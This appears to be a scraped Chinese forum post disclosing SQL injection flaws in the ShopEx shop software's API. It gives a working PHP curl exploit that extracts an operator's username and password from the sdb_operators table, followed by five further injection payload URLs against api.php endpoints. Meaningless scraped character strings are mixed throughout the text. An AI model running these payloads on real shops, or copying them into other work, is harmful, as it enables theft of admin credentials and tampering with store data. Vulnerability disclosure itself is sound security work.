|
|
缺陷文件:\core\api\payment\2.0\api_b2b_2_0_payment_cfg.php5 k- c; M( F( Y' `2 e5 G& |0 H
core\api\payment\1.0\api_b2b_2_0_payment_cfg.php7 v$ v1 O$ Z# I- n9 O0 X
5 K! K6 T! u9 C2 V) e6 Q& C第44行 $data['columns'] 未做过滤导致注入
$ C4 x1 W$ |' W( R/ x
$ i7 @+ x0 w- j5 e3 ?) L5 J+ h<?php set_time_limit(0); ob_flush(); echo 'Test: http://localhost:808'."\r\n"; $sql = 'columns=* from sdb_payment_cfg WHERE 1 and (select 1 from(select count(*),concat((select (select (SELECT concat(username,0x7c,userpass) FROM sdb_operators limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#&disabled=1'; $url='http://localhost:808/api.php?act=search_payment_cfg_list&api_version=2.0'; $ch = curl_init(); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_POSTFIELDS, $sql); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); flush(); $data = curl_exec($ch); echo $data; curl_close($ch); ?>外带一句 ShopEx对API操作的模块未做认证,任何用户都可访问,攻击者可通过它来对产品的分类,类型,规格,品牌等,进行添加,删除和修改,过滤不当还可造成注入.1 z& N; ~, W) F6 u, u- S
# ?8 Y" @2 K8 O注射1:/ ]5 q3 U9 y' P5 L
2 C7 O0 Y! C0 n& j. Ghttp://www.0day5.com/api.php POST act=search_sub_regions&api_version=1.0&return_data=string&p_region_id=22 and (select 1 from(select count(*),concat(0x7c,(select (Select version()) from information_schema.tables limit 0,1),0x7c,floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)#. g2 \ J4 F# R5 N$ |0 k
5 s3 _( a) I# r2 |/ E# z' {7 C: q
注射2:* O# A1 o3 I5 \5 b d' _$ _
http://www.0day5.com/shopex/api.php act=add_category&api_version=3.1&datas={"name":"name' and 1=x %23"}
$ `# _% H. A, V
) O" L+ B; b: m& J: z4 y& \7 S注射3:* U: f' E9 X Y3 e' I
http://www.0day5.com/shopex/api.php act=get_spec_single&api_version=3.1&spec_id=1 xxx
& L" d" ]- y9 Z* P. _4 x# I注射4:7 i. ]9 Y* s! V
. |5 p: f" q; e1 a* N) ]http://www.0day5.com/shopex/api.php act=online_pay_center&api_version=1.0&order_id=1x&pay_id=1¤cy=1! K0 z9 K- M( K' y- z3 r; X: r$ O- I
9 q. y c9 I) @) H+ [6 n# A0 R
2 D* V8 k7 c& J! L3 J注射5:; u( \* ?2 j- k% Q
http://www.0day5.com/shopex/api.php act=search_dly_h_area&return_data=string&columns=xxxxx) b6 V- ]" M) y/ E7 s% T* G
6 R2 L: [2 R3 j) W" B4 e+ |0 R* `% v+ I( ~" W
+ z$ [ T: s7 g3 V# R
* k: k, q* k7 D7 h q) J2 h) g$ s
. @: W0 b5 n. x/ c& @/ a. X8 z2 ^! t |
|